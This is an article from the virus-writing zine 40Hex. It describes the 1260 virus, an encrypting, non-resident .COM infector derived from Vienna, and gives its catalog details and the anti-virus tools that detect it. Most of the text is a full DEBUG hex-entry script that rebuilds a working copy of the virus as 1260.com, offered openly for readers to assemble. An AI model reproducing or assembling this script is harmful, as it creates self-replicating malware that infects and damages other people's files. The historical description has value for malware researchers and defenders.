Copy Link
Add to Bookmark
Report
40Hex Issue 02 File 009
40Hex Volume 1 Issue 2 0009
The 1260 Virus
Here's a nice little encrypting virus written in America.
Aliases: V2P1
V Status: Research
Discovery: January, 1990
Symptoms: .COM file growth
Origin: Minnesota, USA
Eff Length: 1,260 Bytes
Type Code: PNC - Parasitic Encrypting Non-Resident .COM Infector
Detection Method: ViruScan V57+, IBM Scan, Pro-Scan 1.4+, F-Prot 1.12+,
AVTK 3.5+, VirHunt 2.0+, NAV
Removal Instructions: CleanUp V57+, Pro-Scan 1.4+, F-Prot 1.12+, VirHunt 2.0+
General Comments:
The 1260 virus was first isolated in January, 1990. This
virus does not install itself resident in memory, but is it
extremely virulent at infecting .COM files. Infected files
will have their length increased by 1,260 bytes, and the
resulting file will be encrypted. The encryption key changes
with each infection which occurs.
The 1260 virus is derived from the original Vienna Virus, though
it is highly modified.
This virus was developed as a research virus by Mark Washburn, who
wished to show the anti-viral community why identification string
scanners do not work in all cases. The encryption used in 1260 is
one of many possible cases of the encryption which may occur with
Washburn's later research virus, V2P2.
------------------------------------------------------------------------------
n 1260.com
e 0100 E9 1D 00 6E 66 65 63 74 65 64 20 50 72 6F 67 72
e 0110 61 6D 2E 20 0D 0A 24 BA 02 01 B4 09 CD 21 CD 20
e 0120 90 B8 89 86 4B B9 FD 04 FC 46 BF 47 01 90 2B DA
e 0130 31 0D 33 D1 2B D8 31 05 47 42 4B 40 90 E2 EE 4B
e 0140 4B 42 47 43 42 F8 47 FF 18 71 18 D2 A5 40 19 E2
e 0150 6D B4 08 F8 5C FA F4 A6 EB 08 55 F2 F4 73 82 1A
e 0160 65 C4 C4 4F 82 24 55 FA F4 7B B2 16 55 F4 E4 6F
e 0170 A2 00 1F F9 0C C2 F7 7D 06 73 32 66 F4 45 84 87
e 0180 3D 81 84 7A 77 5E 7F 04 40 C2 39 D7 C8 FA 28 C1
e 0190 B6 E1 0D 64 E6 FC 40 D9 39 D3 38 FA 71 A4 38 0A
e 01A0 6B E1 82 38 C3 71 22 77 36 13 F4 42 EE 37 C5 E0
e 01B0 B2 6C E2 CA E4 45 F4 F6 AA A4 75 30 68 FA A8 BE
e 01C0 05 83 F7 A9 BC FF F5 5B 5B 86 18 15 0F A5 E2 6E
e 01D0 9B 17 6E 39 64 3D 54 F7 7E 0D 1E CD 65 37 46 B9
e 01E0 31 C3 B0 C3 2C DF F7 3B EB A5 D3 79 EB D7 E5 6C
e 01F0 1B C5 6E 91 11 7A 32 56 F5 5F C9 CC 81 F0 B9 87
e 0200 F1 87 2F 6C 71 37 4B F7 F5 A8 EA 7E 83 0F 65 1A
e 0210 1A 97 E6 57 B9 51 7C 89 07 78 06 76 33 6D C5 7E
e 0220 C3 C3 36 63 4E 08 41 B9 7E 25 74 35 54 FB 5C E4
e 0230 E5 2E C4 0C E3 6B 39 43 BA 3E D4 84 F6 10 9A CB
e 0240 8E 87 F2 07 21 E4 CE EF 86 19 73 4C 09 FC E2 18
e 0250 96 01 61 5C 19 FC F8 84 2C 7F 8C 02 A4 7D 04 3F
e 0260 C2 68 68 FC C2 89 08 AE 4A F4 B1 7B 24 7D 20 41
e 0270 E2 29 C3 69 AC 0A 4A F1 B1 75 13 0E 0D 77 54 01
e 0280 40 25 82 4D A3 44 F0 CD 79 22 73 32 53 FC 2F C1
e 0290 91 E0 0B 88 E3 30 79 28 4A F4 A5 3D D3 75 8C 38
e 02A0 4B 92 38 74 FD 45 F1 F0 79 22 73 32 62 FC 2F C1
e 02B0 2E BF CB FA 2E 09 3A F3 F2 38 B0 C7 E3 30 7A CF
e 02C0 0F 49 C1 3E 85 F3 FD 45 FD FB 30 DE 8E F0 04 FA
e 02D0 EC 27 67 36 21 2C A9 37 AC 37 78 57 FE F3 01 2F
e 02E0 A4 4F 59 CF 4C 32 20 FB 31 9F 12 01 31 87 18 00
e 02F0 42 E8 21 7D F6 FE 49 D3 30 DA CE 2E 31 0D FA D9
e 0300 7D 47 4C A6 A9 F2 31 37 BE BD 0D 33 1A 31 12 EF
e 0310 21 CF CC 2A E9 3F 31 BA BB 13 31 78 F3 77 CA CF
e 0320 94 07 CD 4E 0C D4 FC 76 71 FA FD 33 6D 8B 17 EF
e 0330 66 AD 1D 23 D3 44 BB 15 74 7F F9 FF 31 1A 6F F1
e 0340 C1 08 8F E0 D0 F0 30 2E A7 24 7D 3D DB F2 2B A8
e 0350 0A ED EC 06 F8 F3 75 80 12 7B 3F EE FC 3E EA 2F
e 0360 8A 2C 4F CE 00 BE 58 FF FD 7B 3F EE FC 3E 5B B1
e 0370 14 EA 55 EC EC 79 8A 12 30 00 87 38 D9 F2 7F 2A
e 0380 07 CC 62 A5 4B BD 56 75 B2 16 7D 17 4A F1 D7 21
e 0390 98 E3 56 EE EC 1A 4A FE 17 17 30 75 8A 1E 9A 45
e 03A0 32 06 6D D6 F5 F2 7D 38 AB FA 30 C2 41 35 E2 EC
e 03B0 67 3D 1F 4A B2 A9 14 6C FC FF FA FE AC 0D EE C3
e 03C0 E4 90 2E 32 E1 F7 31 9C EB E7 45 FF BF 4A ED EF
e 03D0 57 EB ED 22 CC 81 F2 4B BD 42 FE FF 31 27 92 19
e 03E0 4C 09 5E CF 00 D2 76 A9 07 70 B3 07 7C 12 0D 10
e 03F0 6C 22 F2 EF 55 F2 AA 32 DC 4F C3 32 DC 4B 8C CC
e 0400 06 C5 7B 04 5B 72 3F 5E FD 36 DC E1 76 A5 11 61
e 0410 B3 15 59 F5 20 D2 E2 A6 CE 3B CE 24 CE 21 FE 39
e 0420 46 2E 72 CF CC A4 15 51 FD 38 76 B1 0D 72 1C D3
e 0430 6C 6A 2C A7 7F 22 34 2E 34 2A 34 76 B3 03 8C EE
e 0440 0A 0B 5C 4E 3E 33 07 2F 2E A1 3D A4 AE 33 06 35
e 0450 11 6D 3E 99 17 FB 2E 77 3F 29 1E AC 29 7B 06 94
e 0460 8E 1F CD 8A 22 7B 0E 0F 5A 3B 44 FC FE 18 30 13
e 0470 65 2A CD AA 08 CB B8 1A 8B 0B 3D AF 75 2C DE DA
e 0480 05 FF 8C 73 C9 F2 77 8A 1A 54 CE F8 74 B7 E9 E0
e 0490 EF 60 A9 EB B0 A8 A5 33 AD 73 22 AC A8 7B B8 28
e 04A0 62 F8 CA 46 89 F7 DA 02 76 BF F9 A2 A6 AB 21 70
e 04B0 F0 B8 56 EC EE A0 E1 77 B8 14 D3 7E FE 0A AD 03
e 04C0 0D 80 4B E3 20 96 FD 5C F9 FB F3 A7 5E F5 ED 4C
e 04D0 E3 EB 16 B7 F2 6E 3E 63 E3 AB 45 FF FD A3 D2 44
e 04E0 8B 2B 37 6C C1 F3 76 B9 21 58 F9 FF 76 B5 33 4C
e 04F0 EB EB 66 A9 0F 50 F3 FF 06 A3 E2 62 3E 4C CA 8E
e 0500 35 02 0B 36 70 F7 05 03 BB B0 6D CE F8 C2 E0 DC
e 0510 3C D8 34 C4 35 D8 24 D4 27 6B BD B8 BE B5 8F 37
e 0520 86 5B 2F 28 CE F3 FE FC FE FD FC F6 FC F9 EC E4
e 0530 EC E7 EC E2 EF FD FF EF FF E9 FF EB FF E5 0F 17
e 0540 0F 11 0C 13 0C EE FD E0 FD E5 FD DE FD D3 ED CC
e 0550 ED C9 ED CA 67 BC 14 75 BA 10 77 00 7D 1D 7A CD
e 0560 24 EB CC 7A 8C 4B 10 FA 77 2C 7D 14 21 F1 21 CF
e 0570 70 BA 67 A0 04 79 BA 14 77 04 7D 11 4A F1 64 8D
e 0580 8C D2 11 4D BD F7 CD F3 BC BD 1E 06 3F 19 F9 A7
e 0590 05 F7 EC C4 C2 B1 B3 B3 FC AA BD AA B4 CF 98 87
e 05A0 82 93 E2 8D 83 BF FC B3 FC FA FC FE FC F2 EC EE
e 05B0 EC EA EC EE EC F2 FC FE FC FA FC FE FC F2 0C 0F
e 05C0 0D 0B 0D 0F 0D F3 FD FF FD FB FD FF FD F3 ED EF
e 05D0 ED EB ED EF ED F3 FD FF FD FB FD FF FD F3 CF F0
e 05E0 F2 F4 F2 F0 F2 CC C2 BC B2 B6 FE FC FD F3 ED EF
e 05F0 ED EB ED CF CA 97 A6 ED DD FB FD FF A9 BA C3 D6
e 0600 A3 C8 C2 C2 8D BE FD B2 FD FB FD FF 1A 1A 1A 1A
rcx
50C
w
q
------------------------------------------------------------------------------
HR
